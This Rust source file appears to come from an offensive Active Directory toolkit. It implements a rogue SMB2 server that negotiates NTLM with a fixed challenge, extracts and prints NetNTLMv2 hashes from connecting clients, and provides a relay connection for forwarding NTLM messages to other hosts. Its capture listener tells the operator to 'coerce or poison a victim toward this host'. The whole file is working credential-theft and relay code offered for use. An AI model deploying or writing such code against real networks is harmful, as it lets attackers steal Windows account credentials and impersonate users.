1use crate::header::cmd;
8use crate::{spnego, Result, SmbError};
9use ntlmssp::{build_challenge, netntlmv2_from_type3, CAPTURE_CHALLENGE};
10use tokio::io::{AsyncReadExt, AsyncWriteExt};
11use tokio::net::{TcpListener, TcpStream};
12
13const STATUS_SUCCESS: u32 = 0x0000_0000;
14const STATUS_MORE_PROCESSING_REQUIRED: u32 = 0xC000_0016;
15const STATUS_ACCESS_DENIED: u32 = 0xC000_0022;
16const FLAGS_SERVER_TO_REDIR: u32 = 0x0000_0001;
17
18fn response_header(command: u16, message_id: u64, status: u32, session_id: u64) -> Vec<u8> {
20 let mut h = vec![0u8; 64];
21 h[0..4].copy_from_slice(&[0xfe, b'S', b'M', b'B']);
22 h[4..6].copy_from_slice(&64u16.to_le_bytes()); h[8..12].copy_from_slice(&status.to_le_bytes());
24 h[12..14].copy_from_slice(&command.to_le_bytes());
25 h[14..16].copy_from_slice(&1u16.to_le_bytes()); h[16..20].copy_from_slice(&FLAGS_SERVER_TO_REDIR.to_le_bytes());
27 h[24..32].copy_from_slice(&message_id.to_le_bytes());
28 h[40..48].copy_from_slice(&session_id.to_le_bytes());
29 h
30}
31
32fn negotiate_response() -> Vec<u8> {
33 let mut b = Vec::new();
34 b.extend_from_slice(&65u16.to_le_bytes()); b.extend_from_slice(&0x0001u16.to_le_bytes()); b.extend_from_slice(&0x0210u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&[0x11u8; 16]); b.extend_from_slice(&0u32.to_le_bytes()); b.extend_from_slice(&0x0010_0000u32.to_le_bytes()); b.extend_from_slice(&0x0010_0000u32.to_le_bytes()); b.extend_from_slice(&0x0010_0000u32.to_le_bytes()); b.extend_from_slice(&0u64.to_le_bytes()); b.extend_from_slice(&0u64.to_le_bytes()); b.extend_from_slice(&(64u16 + 64).to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u32.to_le_bytes()); b
49}
50
51fn session_setup_response(sec: &[u8]) -> Vec<u8> {
53 let mut b = Vec::new();
54 b.extend_from_slice(&9u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&(64u16 + 8).to_le_bytes()); b.extend_from_slice(&(sec.len() as u16).to_le_bytes()); b.extend_from_slice(sec);
59 b
60}
61
62fn request_sec_buffer(msg: &[u8]) -> Option<&[u8]> {
64 let off = u16::from_le_bytes([*msg.get(76)?, *msg.get(77)?]) as usize; let len = u16::from_le_bytes([*msg.get(78)?, *msg.get(79)?]) as usize; msg.get(off..off + len)
67}
68
69async fn send(stream: &mut TcpStream, pdu: &[u8]) -> Result<()> {
70 let mut framed = (pdu.len() as u32).to_be_bytes().to_vec(); framed.extend_from_slice(pdu);
72 stream.write_all(&framed).await?;
73 Ok(())
74}
75
76async fn recv(stream: &mut TcpStream) -> Result<Vec<u8>> {
77 let mut len = [0u8; 4];
78 stream.read_exact(&mut len).await?;
79 let n = u32::from_be_bytes(len) as usize & 0x00ff_ffff;
80 let mut buf = vec![0u8; n];
81 stream.read_exact(&mut buf).await?;
82 Ok(buf)
83}
84
85async fn handle(mut stream: TcpStream) -> Result<Option<String>> {
87 loop {
88 let msg = match recv(&mut stream).await {
89 Ok(m) if m.len() >= 64 && m[0..4] == [0xfe, b'S', b'M', b'B'] => m,
90 _ => return Ok(None),
91 };
92 let command = u16::from_le_bytes([msg[12], msg[13]]);
93 let message_id = u64::from_le_bytes(msg[24..32].try_into().unwrap());
94 let session_id = u64::from_le_bytes(msg[40..48].try_into().unwrap());
95
96 match command {
97 cmd::NEGOTIATE => {
98 let mut pdu = response_header(cmd::NEGOTIATE, message_id, STATUS_SUCCESS, 0);
99 pdu.extend(negotiate_response());
100 send(&mut stream, &pdu).await?;
101 }
102 cmd::SESSION_SETUP => {
103 let sec = request_sec_buffer(&msg).ok_or(SmbError::Truncated)?;
104 let ntlm = spnego::find_ntlm(sec).ok_or(SmbError::BadToken)?;
105 let mtype = u32::from_le_bytes([ntlm[8], ntlm[9], ntlm[10], ntlm[11]]);
106 if mtype == 1 {
107 let type2 = build_challenge(&CAPTURE_CHALLENGE, "ADHAMMER");
109 let token = spnego::challenge_resp(&type2);
110 let sid = if session_id == 0 {
111 0x1111_0000_0000_0001
112 } else {
113 session_id
114 };
115 let mut pdu = response_header(
116 cmd::SESSION_SETUP,
117 message_id,
118 STATUS_MORE_PROCESSING_REQUIRED,
119 sid,
120 );
121 pdu.extend(session_setup_response(&token));
122 send(&mut stream, &pdu).await?;
123 } else if mtype == 3 {
124 let captured = netntlmv2_from_type3(ntlm, &CAPTURE_CHALLENGE);
126 let mut pdu = response_header(
127 cmd::SESSION_SETUP,
128 message_id,
129 STATUS_ACCESS_DENIED,
130 session_id,
131 );
132 pdu.extend(session_setup_response(&[]));
133 let _ = send(&mut stream, &pdu).await;
134 return Ok(captured);
135 }
136 }
137 _ => return Ok(None),
138 }
139 }
140}
141
142pub struct RelayConn {
147 stream: TcpStream,
148 ss1_msg_id: u64,
149 session_id: u64,
150}
151
152impl RelayConn {
153 pub fn new(stream: TcpStream) -> Self {
154 RelayConn {
155 stream,
156 ss1_msg_id: 0,
157 session_id: 0,
158 }
159 }
160
161 pub async fn recv_type1(&mut self) -> Result<Vec<u8>> {
163 loop {
164 let msg = recv(&mut self.stream).await?;
165 if msg.len() < 64 || msg[0..4] != [0xfe, b'S', b'M', b'B'] {
166 return Err(SmbError::BadProtocol);
167 }
168 let command = u16::from_le_bytes([msg[12], msg[13]]);
169 let message_id = u64::from_le_bytes(msg[24..32].try_into().unwrap());
170 match command {
171 cmd::NEGOTIATE => {
172 let mut pdu = response_header(cmd::NEGOTIATE, message_id, STATUS_SUCCESS, 0);
173 pdu.extend(negotiate_response());
174 send(&mut self.stream, &pdu).await?;
175 }
176 cmd::SESSION_SETUP => {
177 let sec = request_sec_buffer(&msg).ok_or(SmbError::Truncated)?;
178 let ntlm = spnego::find_ntlm(sec).ok_or(SmbError::BadToken)?;
179 self.ss1_msg_id = message_id;
180 self.session_id = 0x2222_0000_0000_0001;
181 return Ok(ntlm.to_vec());
182 }
183 _ => return Err(SmbError::BadToken),
184 }
185 }
186 }
187
188 pub async fn send_challenge(&mut self, type2: &[u8]) -> Result<()> {
190 let token = spnego::challenge_resp(type2);
191 let mut pdu = response_header(
192 cmd::SESSION_SETUP,
193 self.ss1_msg_id,
194 STATUS_MORE_PROCESSING_REQUIRED,
195 self.session_id,
196 );
197 pdu.extend(session_setup_response(&token));
198 send(&mut self.stream, &pdu).await
199 }
200
201 pub async fn recv_type3(&mut self) -> Result<Vec<u8>> {
203 let msg = recv(&mut self.stream).await?;
204 let sec = request_sec_buffer(&msg).ok_or(SmbError::Truncated)?;
205 let msg_id = u64::from_le_bytes(msg[24..32].try_into().unwrap());
206 let mut pdu = response_header(
208 cmd::SESSION_SETUP,
209 msg_id,
210 STATUS_ACCESS_DENIED,
211 self.session_id,
212 );
213 pdu.extend(session_setup_response(&[]));
214 let _ = send(&mut self.stream, &pdu).await;
215 spnego::find_ntlm(sec)
216 .map(|t| t.to_vec())
217 .ok_or(SmbError::BadToken)
218 }
219
220 pub async fn listen(addr: &str) -> Result<TcpListener> {
222 Ok(TcpListener::bind(addr).await?)
223 }
224}
225
226pub async fn capture(addr: &str) -> Result<()> {
228 let listener = TcpListener::bind(addr).await?;
229 println!("[*] SMB capture listener on {addr} — coerce or poison a victim toward this host");
230 let seen = std::sync::Arc::new(tokio::sync::Mutex::new(std::collections::HashSet::new()));
231 loop {
232 let (stream, peer) = listener.accept().await?;
233 let seen = seen.clone();
234 tokio::spawn(async move {
235 if let Ok(Some(line)) = handle(stream).await {
236 let account = line.split(':').take(3).collect::<Vec<_>>().join("\\");
237 if seen.lock().await.insert(account.clone()) {
238 println!("[+] NetNTLMv2 from {peer} ({account}):");
239 println!("{line}");
240 }
241 }
242 });
243 }
244}